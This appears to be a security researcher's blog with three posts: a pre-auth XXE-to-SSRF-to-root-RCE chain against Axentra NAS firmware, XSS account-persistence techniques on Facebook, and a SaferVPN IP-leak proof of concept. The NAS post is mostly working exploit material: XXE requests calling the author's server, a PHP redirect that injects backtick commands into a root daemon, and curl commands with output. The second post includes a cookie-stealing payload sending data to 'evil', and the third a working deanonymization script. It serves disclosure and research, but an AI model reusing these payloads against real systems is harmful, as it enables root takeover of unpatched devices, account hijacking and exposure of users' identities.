Pre-auth RCE via XXE & SSRF on NetGear Stora, SeaGate Home, and Medion LifeCloud NAS

6:09 AM

TL,DR; not a while ago, a couple friends and I decided we wanted to  explore the current security state of popular Network Attached Storage (NAS) devices. We decided to download a bunch of popular NAS firmwares and started looking into them.

The first one we picked up was called Axentra. While dissecting the firmware, it became clear to us the target is extremely widespread. many popular NAS hardware manufactures including NetGear, SeaGate and Meidon use the Axentra framework by default . This meant any preauth bug in Axentra is exploitable across multiple devices. Looking on shodan, almost ~2 million vulnerable devices can be found. 

This is a prolonged post detailing how it was possible to craft an RCE exploit from a tricky XXE and SSRF.

About Axentra.

Axentra Hipserv is a NAS OS that runs on multiple devices including NetGear Stora, SeaGate Home, Medion LifeCloud NAS and provides cloud-based login, file storage, and management functionalities for different devices. It's used in different devices from different vendors. The company provides a firmware with a web interface that mainly uses PHP as a backend. The web interface has a rest API endpoint and a pretty typical web management interface with file manager support.

Firmware Analysis.  
After extracting the firmware using binwalk, the backend source were located in /var/www/html/ with the webroot in /var/www/html/html. The main handler for the web interface is homebase.php, and RESTAPIController.php is the main handler for the rest API. All the php files were encoded using IONCube which has a public decoder, and given the version used was an old one, decoding the files didn't take long.
    
Once the files were decoded we proceeded to look at the source code, most of it was well written. During the initial analysis we looked at different configuration files which we thought might come into play. One of them was php.ini located in /etc which contained the configuration line 'register_globals=on', this was pretty exciting as turning register_globals on is a very insecure configuration and could lead to a plethora of vulnerabilities. But looking through the entire source code, we could not find any chunk of code exploitable through this method. The Axentra code as mentioned before was well written and variables where properly initialized, used and carefully checked, so register_globals was not going to work.


As we kept looking through the source code and moved on to the REST-API endpoint things got a little more interesting, the initial requests are routed through RESTAPIController.phpwhich loads proper classes from /var/www/html/classes/REST and the service classes were in /var/www/html/classes/REST/services in individual folders. While looking through the services most of them were properly authenticated, but there were a few exceptions that were not, one of these was the request aggregator endpoint located at /www/html/classes/REST/services/aggregator in the filesystem and /api/2.0/rest/aggregator/xml from the web url. We will look at how this service works and how we were able to exploit it.

The first file in the directory was AxAggregatorRESTService.php. This file defines and constructs the rest service. Files of the same structure exist in every service directory with different names ending with the same RESTService.php suffix. In this file there were interesting lines (shown below). Note that line numbers might be inaccurate since the files were decoded and we didn't bother to remove the header generated by the decoder (a block of comment at the beginning of each file plus random breaks).

JUICE A: /var/www/html/classes/REST/services/aggregator/AxAggregatorRESTService.php

line 13: private $requiresAuthenticatedHipServUser = false; //This shows the service does not require authentication.
line 14: private $serviceName = 'aggregator'; //the service name..
...
line 17-18:
    
if (( count( $URIArray ) == 1 && $URIArray[0] == 'xml' )) { // If number of uri paths passed to the service is 1 and the first path to the service is xml
                $resourceClassName = $this->loadResourceClass( 'XMLAggregator' ); // Load a resource class XMLAggregator


The code on line 18 calls a function called loadResourceClass with is provided by axentras RESTAPI framework and loads a resource (service handler) class/file from the current rest services directory after adding the appropriate prefix (Ax) and suffix (RESTResource.php). The code for this function is shown below.

classes/REST/AxAbstractRESTService.php

line 25-30:
function loadResourceClass($resourceName) {
            
$resourceClassName = 'Ax' . $this->resourcesClassNamePrefix . ucfirst( $resourceName ) . 'RESTResource';
            
require_once( REST_SERVICES_DIR . $this->serviceName . '/' . $resourceClassName . '.php' );
            
return $resourceClassName;
        
}
    
}

The next file we had to look at was AxXMLAggregatorRESTResource.php which is loaded and executed by the REST framework. This file defines the functionality of the REST API endpoint, inside of it is where our first bug was found (XXE). Let's take a look at the code.

/var/www/html/classes/REST/services/aggregator/AxXMLAggregatorRESTResource.php

line 14:
    
DOMDocument $mDoc = new DOMDocument(); //Intialize a DOMDocument loader class

line 16:
    
if (( ( ( $requestBody == '' || !$mDoc->loadXML( $requestBody, LIBXML_NOBLANKS ) ) || !$mRequestsNode = $mDoc->documentElement ) || $mRequestsNode->nodeName != 'requests' )) {
                
AxRecoverableErrorException;
                
throw new ( null, 3 );
            
}
    
Now as you can see on the 16th line this file loads xml from the user without validation. Now most php programmers and security researchers would argue this is not vulnerable since external entity loading is disabled in libxml by default and since our code has not called
libxml_disable_entity_loader(false), but one thing to note here is the Axentra firmware uses the libxml library to parse xml data, and libxml started disabling external entity loading by default starting from libxml2 version 2.9 but Axentras firmware has version 2.6 which does not have external entity loading disabled by default, and this leads to an XXE attack, the following request was used to test the XXE.

curl command with output:

Command:

curl -kd '<?xml version="1.0"?><!DOCTYPE requests [ <!ELEMENT request (#PCDATA)> <!ENTITY % dtd SYSTEM "http://SolarSystem:9091/XXE_CHECK"> %dtd; ]> <requests> <request href="/api/2.0/rest/3rdparty/facebook/" method="GET"></request> </requests>' http://axentra.local/api/2.0/rest/aggregator/xml

Output:

<?xml version="1.0"?>
<responses>
<response method="GET" href="/api/2.0/rest/3rdparty/facebook/">
<errors><error code="401" msg="Unauthorized"/></errors>
</response>
</responses>%                     

which produced the following on out listening server:

root@Server:~# nc -lvk 9091
Listening on [0.0.0.0] (family 0, port 9091)
Connection from [axentra.local] port 9091 [tcp/*] accepted (family 2, sport 41528)
GET /XXE_CHECK HTTP/1.0
Host: SolarSystem:9091

^C
root@Server:~#


Now that we had XXE working, we could try and read files and try to dig out sensitive info, but ultimately we wanted full remote control. The first thought was to extract the sqlite database containing all usernames and passwords, but this turned out to be a no go since xxe and binary data don't work so well together, even encoding the data using php filters would not work. And since this method would have required another RCE in the webinterface to take full control of the device, we thought of trying something new.

Since we could make a request from the device (SSRF), we tried to locate endpoints that bypass authentication if the request came from localhost (very common issue/feature?). However, we could not find any good ones and so we moved into the internals of the NAS system specifically how the system executes commands as root (privileged actions). Now this might have not been something to look at if the user-id the web server is using had some sort of sudo privilege, but this was not the case. And since we saw this during our initial overlook of the firmware we knew there was another way the system was executing commands. After a few minutes of searching we found a daemon that the system used to execute commands and found php scripts that communicate with this daemon. We will look at the details below.
    

The requests to this daemon are sent using xml format and the file is located in /var/www/html/classes/AxServerProxy.php, which calls a function named systemProxyRequest to send the requests. The systemProxyRequest is located in the same file and the code is given below.

/var/www/html/classes/AxServerProxy.php:

line 1564-1688:
function systemProxyRequest($command, $operation, $params = array(  ), $reqData = '') {
            
$Proc = true;
            
$host = '127.0.0.1';
            
$port = 2000;
            
$fp = fsockopen( $host, $port, $errno, $errstr );
            
if (!$fp) {
                
AxRecoverableErrorException;
                
throw new ( 'Could not connect to sp server', 4 );
            
}
            
if ($Proc) {
                
unset( $root );
                
DOMDocument;
                
$doc = new ( '1.0' );
                
$root = $doc->createElement( 'proxy_request' );
                
$cmdNode = $doc->createElement( 'command_name' );
                
$cmdNode->appendChild( $doc->createTextNode( $command ) );
                
$root->appendChild( $cmdNode );
                
$opNode = $doc->createElement( 'operation_name' );
                
$opNode->appendChild( $doc->createTextNode( $operation ) );
                
$root->appendChild( $opNode );

       …

                        
if ($reqData[0] == '<') {
                            
if (substr( $reqData, 0, 5 ) == '<?xml') {
                                
$reqData = preg_replace( '/<\?xml.*?\?>/', '', $reqData );
                            
}

                            
DOMDocument;
                            
$reqDoc = new (  );
                            
$reqData = str_replace( '', '', $reqData );
                            
$reqDoc->loadXML( $reqData );
                            
$mNewNode = $doc->importNode( $reqDoc->documentElement, true);
                            
$dNode->appendChild( $mNewNode );
                        
}
….
                    
$root->appendChild( $dNode );
                
}
                
if ($root) {
                    
$doc->appendChild( $root );
                    
fputs( $fp, $doc->saveXML(  ) . '' );
                
}

                
$Resp = '';
                
stream_set_timeout( $fp, 120 );
                
while (!feof( $fp )) {
                    
$Resp .= fread( $fp, 1024 );
                    
$info = stream_get_meta_data( $fp );

                    
if ($info['timed_out']) {
                        
return array( 'return_code' => 'FAILURE', 'description' => 'System Proxy Timeout', 'error_code' => 4, 'return_message' => '', 'return_value' => '' );
                    
}
                
}

As clearly seen above the function takes xml data and cleans out a few things like spaces and sends it to the daemon listening on port 2000 of the local machine. The daemon is located at /sbin/oe-spd and is a binary file, so we looked into it using IDA, the following pieces of code were generated by the Hex-Rays decompiler in IDA.

in function sub_A810:

This function receives the data from the socket as an argument (a2) and parses it.

JUICE B:
signed int __fastcall sub_A810(int a1, const char **a2) line 52:

    
v10 = strstr(*v3, "<?xml version=\"1.0\"?>"); // strstr skips over junk data until requested string is found (<?xml version=1.0 ?>)
    
The line above is important to us mainly because the request is sent through the HTTP protocol so the daemons "feature" to skip over the junk data allows us to embed our payload in an http request to http://127.0.0.1:2000 (the daemons port) without worrying about formatting or the daemon bailing because of unknown characters; it does the same thing with junk data after the xml too.


Now, we skipped over looking into how the whole oe-spd daemon code works, mainly because we had our sights set on finding and exploiting a simple RCE bug, and we had all we need to test out a few ways we could go about achieving that, we had the format of the messages from AxServerProxy.php and some from usr/lib/spd/scripts/. The method we used to find the RCE was sending the request through curl, and tracing the process with strace while running in a qemu environment, this helped us filter out execve calls with the right parameters to use as a payload. As a note there were A LOT of vulnerable functions in this daemon, but in the following we only show the one we used to achieve RCE. The interested one's among you can explore the daemon using the hints we gave above.

curl command and response:

curl -vd '<?xml version="1.0"?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name="disk">BOGUS_DEVICE</parameter></proxy_request>' http://127.0.0.1:2000/
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 2000 (#0)
> POST / HTTP/1.1
> Host: 127.0.0.1:2000
> User-Agent: curl/7.61.1
> Accept: */*
> Content-Length: 179
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 179 out of 179 bytes

<?xml version="1.0"?>
<proxy_return>
<command_name>usb</command_name>
<operation_name>eject</operation_name>
<proxy_reply return_code="SUCCESS" description="Operation successful" />
</proxy_return>

strace command and output

sudo strace -f -s 10000000 -q -p 2468 -e execve
[pid  2510] execve("/usr/lib/spd/usb", ["/usr/lib/spd/usb"], 0x63203400 /* 22 vars */ <unfinished ...>
[pid  2511] +++ exited with 0 +++
[pid  2510] <... execve resumed> )      = 0
[pid  2513] execve("/bin/sh", ["sh", "-c", "/usr/lib/spd/scripts/usb/usbremoveall /dev/BOGUS_DEVICE manual"], 0x62c67f10 /* 22 vars */ <unfinished ...>
[pid  2514] +++ exited with 0 +++
[pid  2513] <... execve resumed> )      = 0
[pid  2513] execve("/usr/lib/spd/scripts/usb/usbremoveall", ["/usr/lib/spd/scripts/usb/usbremoveall", "/dev/BOGUS_DEVICE", "manual"], 0x62a65800 /* 22 vars */ <unfinished ...>
[pid  2515] +++ exited with 0 +++
[pid  2513] <... execve resumed> )      = 0
[pid  2517] execve("/bin/sh", ["sh", "-c", "grep /dev/BOGUS_DEVICE /etc/mtab"], 0x63837f80 /* 22 vars */ <unfinished ...>
[pid  2518] +++ exited with 0 +++
[pid  2517] <... execve resumed> )      = 0
[pid  2517] execve("/bin/grep", ["grep", "/dev/BOGUS_DEVICE", "/etc/mtab"], 0x64894000 /* 22 vars */ <unfinished ...>
[pid  2519] +++ exited with 0 +++
[pid  2517] <... execve resumed> )      = 0
[pid  2520] +++ exited with 1 +++
[pid  2517] +++ exited with 1 +++
[pid  2513] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=2517, si_uid=0, si_status=1, si_utime=4, si_stime=3} ---
[pid  2516] +++ exited with 1 +++
[pid  2513] +++ exited with 1 +++
[pid  2510] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=2513, si_uid=0, si_status=1, si_utime=16, si_stime=6} ---
[pid  2512] +++ exited with 0 +++
[pid  2510] +++ exited with 0 +++
[pid  2508] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=2510, si_uid=0, si_status=0, si_utime=4, si_stime=1} ---
[pid  2509] +++ exited with 1 +++
[pid  2508] +++ exited with 1 +++

the command execution bug should be clearly visible here, but in case you missed it, the 4th line in the strace output shows out input (BOGUS_DEVICE) being passed to a /bin/sh call, now we send a test injection to see if our command execution works.

curl command and output:

curl -vd '<?xml version="1.0"?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name="disk">`echo pwnEd`</parameter></proxy_request>' http://127.0.0.1:2000/

<?xml version="1.0"?>
<proxy_return>
<command_name>usb</command_name>
<operation_name>eject</operation_name>
<proxy_reply return_code="SUCCESS" description="Operation successful" />
</proxy_return>

Strace output:

[pid  2550] execve("/usr/lib/spd/usb", ["/usr/lib/spd/usb"], 0x63203400 /* 22 vars */ <unfinished ...>
[pid  2551] +++ exited with 0 +++
[pid  2550] <... execve resumed> )      = 0
[pid  2553] execve("/bin/sh", ["sh", "-c", "/usr/lib/spd/scripts/usb/usbremoveall /dev/`echo pwnEd` manual"], 0x6291cf10 /* 22 vars */ <unfinished ...>


If you take a close look of the output, it can be seen that "echo pwnEd" command we gave in backticks has been evaluated and the output is being used as a part of a later command. To make this PoC simpler, we just write a file in /tmp and see if it exists in the device.

curl -vd '<?xml version="1.0"?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name="disk">dev_`id>/tmp/pwned`</parameter></proxy_request>' http://127.0.0.1:2000/



Now we have complete command execution. In order to chain this bug with our XXE and SSRF we have to make the xml parser send a request to http://127.0.0.1:2000/ with the payload. Although sending a normal http request to the daemon was not a problem, things fell apart when we tried to append the payload as a url location in the xml file, the parser failed with an error (Invalid Url) so we had to change our approach. After a few failed attempts we figured out the libxml http client correctly follows 301/2 redirections and this does not make the parser fail since the url given in the redirection does not pass through the same parser as the initial url in the xml data, so we created a little php script to redirect the libxml http client to http://127.0.0.1:2000/ with the payload embedded as a url path. The script is shown below.

redir.php:

<?php
if(isset($_GET['red']))
{
    
header('Location: http://127.0.0.1:2000/a.php?d=<?xml version="1.0"?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name="disk">a`id>/var/www/html/html/pwned.txt`</parameter></proxy_request>""'); //302 Redirect
}
?>

Then we ran this on our server the commands we used and the final
output is given below.

curl command and output:

curl -kd '<?xml version="1.0"?><!DOCTYPE requests [ <!ELEMENT request (#PCDATA)> <!ENTITY % dtd SYSTEM "http://SolarSystem:9091/redir.php?red=1"> %dtd; ]> <requests> <request href="/api/2.0/rest/3rdparty/facebook/" method="GET"></request> </requests>' http://axentra.local/api/2.0/rest/aggregator/xml
<?xml version="1.0"?>
<responses>
<response method="GET" href="/api/2.0/rest/3rdparty/facebook/">
<errors><error code="401" msg="Unauthorized"/></errors>
</response>
</responses>%

root@Server:~# php -S 0.0.0.0:9091
PHP 7.0.32-0ubuntu0.16.04.1 Development Server started at Thu Nov  1 16:02:16 2018
Listening on http://0.0.0.0:9091
Document root is /root/...
Press Ctrl-C to quit.
[Thu Nov  1 16:02:43 2018] axentra.local:39248 [302]: /redir.php?red=1


As seen above the php script sent a 302 (Found) response to the libxml http client which should redirect it to http://127.0.0.1:2000/a.php?d=<?xml version="1.0"?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name="disk">a`id>/var/www/html/html/pwned.txt`</parameter></proxy_request>""
    
The above redirection should execute our command injection and create a pwned.txt file in the webroot with the output of id, the following request checks the output and existence of the file.

curl command and output:

curl -k http://axentra.local/pwned.txt
uid=0(root) gid=0(root)


Yay! our pwned.txt has been created and the exploit was successful. We have a video demo showing the full exploit chain from XXE to SSRF to RCE being used to create a reverse root shell. I would like to thank WSP and SD for encouraging this research. 


Timeline

This research was the basis of us looking into more NAS devices, like WD MyBook and discovering multiple root RCE vulnerabilities that ultimately impacted millions of devices. The full research is published on WizCase blog here. Unfortunately, Axentra, most of the affected vendors, and even WD, chose not to respond. Some NAS have responded saying there will NOT BE any patches for the vulnerabilities because Axentra is unreachable. 



THE BIG BAD WOLF - XSS AND MAINTAINING ACCESS

10:55 PM


Today, we are the big bad wolf. We have malicious intents. As we should, right? It is commonly believed in our community we need to think like an attacker to effectively be security researchers; the kind of situation where to be one, you must be the other as well.

Understanding what an application does and how it does it always gives you a broader attack surface. If you know how to abuse them properly, understanding features and how they work may even give you privileges far more dangerous than those which you get from XSS. I'll explain what I mean by that later.


If you have malicious intents, what exactly happens immediately after you compromise a target through a client side attack? What’s the worst you can do; how fast can you perform sensitive actions and how long can you keep doing it right after you compromise a target? I'll be using the big boy that has state of the art security to mitigate client-side attacks, Facebook, as an example. I do hope you enjoy the following read.

I still read write-ups about XSS that are limited in what they can do because the attack surface isn't clear enough for the security researchers who find them. Remember, you have a grey hat now, you are the big bad wolf. You don't want to just pop an alert, you want to move laterally, you want to explore, you want to maintain access and you want to feel like you have a reliable root shell on the target in regards to what you can do.

Here is a typical XSS payload lots of security researchers and bug hunters still use:

<script>new Image(); x.location="https://evil/"+document.cookie</script>

That still is the example used to describe how bad XSS can get. steal de cookys. Does it do any harm? Maybe on weaker targets. Can we improve it? let's see.


On black box audits, you often encounter webapps:

  • without or bypassable and broken CSP,
  • without HTTPOnly attributes on sensitive cookies,
  • that don't require password to change email,
  • that got their own applications,
  • with various caching methods,
  • with oauth, 
  • with third party extensions, 
  • with session fixation,
  • with internal APIs,
  • with CRLF bugs,
  • that support service workers and appcache,
  • with login/out csrf,
  • without or with SAMEORIGIN XFO,
  • that run wordpress, or other easily code injectable platforms,
  • that don't require password when even changing passwords,
  • that run local services
  • that are integrated to native code like Electron


Now, these are all uninteresting, low priority, bugs and "features", but they are GOLD if you have something like XSS.


If for instance you interact with a webapp that doesn't require a password to change email, you can use your XSS to change the email, reset the account with your new email and maintain access. But that's not all subtle and lateral. You want the big picture, you want to monitor privilege and then abuse it for maximum impact.


WE ARE THE BIG BAD WOLF.


In terms of blind XSS vulnerabilities, there is an even bigger attack surface people often don't think about. Since its a blind XSS, you are most likely dealing with backend people, which means local environments, services, and potentially sensitive localhost permissions. In many cases, if you have a script to monitor all the ports and services of localhost, you can simply turn this into RCE. If they have Jenkins and other sensitive services running, that's easy loot. If they are authenticated with Wordpress, thats RCE. Remember at that point, they are an entry-point to their LAN Intranet. You could simply exploit a local router RCE vulnerability from a bXSS to get easy shells in the network.


Nowadays, secure websites widely implement a bunch of security best practices so your document.cookie attacks don't do you much. Even after defeating CSP, most sensitive and non-sensitive cookies are marked with flags such as secure, HTTPOnly and recently SameSite flag attributes minimizing your ability to hijack sessions and maintain access.


For those who don't know, if a cookie has HTTPOnly flags it means the cookie cannot be accessed through client side scripts so even if you have an XSS, you can't just send the cookies to wherever you want.

Example, XSS on Facebook

Assume you have an XSS on Facebook, but most sensitive actions require a password, sometimes mouse gesture, and you can't just steal the cookies. It seems what you can do with your script may not be much to maintain access and turn into a complete account takeover. Luckily Facebook supports OAuth applications (one example above) and lets you create your own apps and also debug your apps.


Facebook have developer profiles letting you create applications that can request access through OAuth, but that'd require passwords and SOP access at developer.facebook.com -- It is doable but there are easier methods. For instance, one can generate an all profile-scoped token through the Graph API Explorer, and use that token to always query to read & write to the user profile.


Why Graph API Explorer?

  • You don't need to verify a developer profile.
  • It is a public application.
  • It has been shown to be owned by Facebook (trust+).
  • The scope is not limited.

... And there we have it ladies and gents, while we may not have the cookie, we still can get an almost invisible access to an application we can query full read/write privileges as the user. Even if user is paranoid or aware of an attacker’s presence, and changes the password, there lies our application and its token, untouched. We simply use an XSS payload that grants access to Graph API Explorer with all profile-scopes and use this token to move laterally.

When a user changes their email or current password, they are asked to sign out of all devices or to stay signed in. What they don't see is a prompt question of which of their integrated applications to revoke access to. Facebook responded about this saying they won't be changing that anytime soon.

Conclusion


Cross site scripting still is one of the most widespread and common vulnerability types in web applications today. It can be found in many forms and I believe it still will be a problem in the coming years. The bugs and features I mentioned above are nothing more than misconfigurations in systems, almost always empowering client-side attacks to do more.

I believe there is a lot that can be researched on this; regarding maintaining access on web-applications. I strongly agree such research results maybe useful for future forensic intrusion detection improvements.


I would like to thank @filedescriptor and @luffy_lover for proof-reading this. 

SaferVPN CVE-2018-10308, from DoS to deanonymization

3:44 AM


TL,DR; After my last month's finding in Hotspot Shield, I decided to look at and audit more VPNs to see how many of the major VPN vendors are vulnerable to information leakage. Together with File Descriptor, we decided to look at 3 random major VPN clients to see what we can find. Our research was supported by the privacy advocate vpnmentor.

We initially selected PureVPN, Hotspot Shield, and Zenmate as pilot targets and went ahead with the research. what we've found surprised us: of all 3 vpn's we've tested, we've discovered all of them leak sensitive data.


The vulnerabilities would have allowed governments, hostile organizations, or individuals to identify the actual IP address or DNS of a user, and in some cases hijack the user's traffic. While Zenmate’s leak was somewhat minor compared to the two other VPNs, its still important. You can find the details of the vulnerabilities found here, here or here.


The fact that we found leaks in all the VPNs that we tested is worrying, and led us to believe VPNs may not be as safe as many may think. This opened doors for further research.
Our guess is that most VPNs have similar leaks and that users should take this into consideration when using VPNs.

Details

In this blog post, I will explore a vulnerability I found in SaferVPN Chrome Extension. the vulnerability, CVE-2018-10308 as simple as it is, should help malicious actors retrieve vital information such as IP addresses when a user visits a website.


When a series of simultaneous requests to a nonexistent server is sent, the VPN extension easily crashes, letting us leak real user IPs, DNS and other details which the VPN is suppose to hide.


This is a weird bug, as I didn't know chrome extensions could be dosed until now. I've tried putting breakpoints through the extension's debugger to see what is causing it and they seem to intentionally kill the extension when it resolves many non existent dns queries.


Here is a PoC that works on versions before 3.1.10

<script type="text/javascript">  
  var head = document.getElementsByTagName('head')[0];  
  var img = document.createElement('img');  
  img.src= "https://nonexistant.nonexistant.nonexistant";  
  function kill(){  
   for(var i=0;i<12;i++){  
    head.appendChild(img);  
    }
  }
  kill();  
  window.onload = setTimeout(function () {  
   var webService = "https://freegeoip.net/json/";  
     var script = document.createElement("script");  
     script.type = "text/javascript";  
     script.src = webService+"?callback=MyIP&format=jsonp";  
     document.getElementsByTagName("head")[0].appendChild(script);  
   }, 9000);   
  function MyIP(response) {  
    document.getElementById("ipaddress").innerHTML = response.ip;  
  }
</script>  
<div id = "ipaddress"></div>



Timeline

Thu, Mar 29 - contacted SaferVPN
Thu, Apr 19 - patch live.

You can write to me here if you'd like to talk about funding similar research.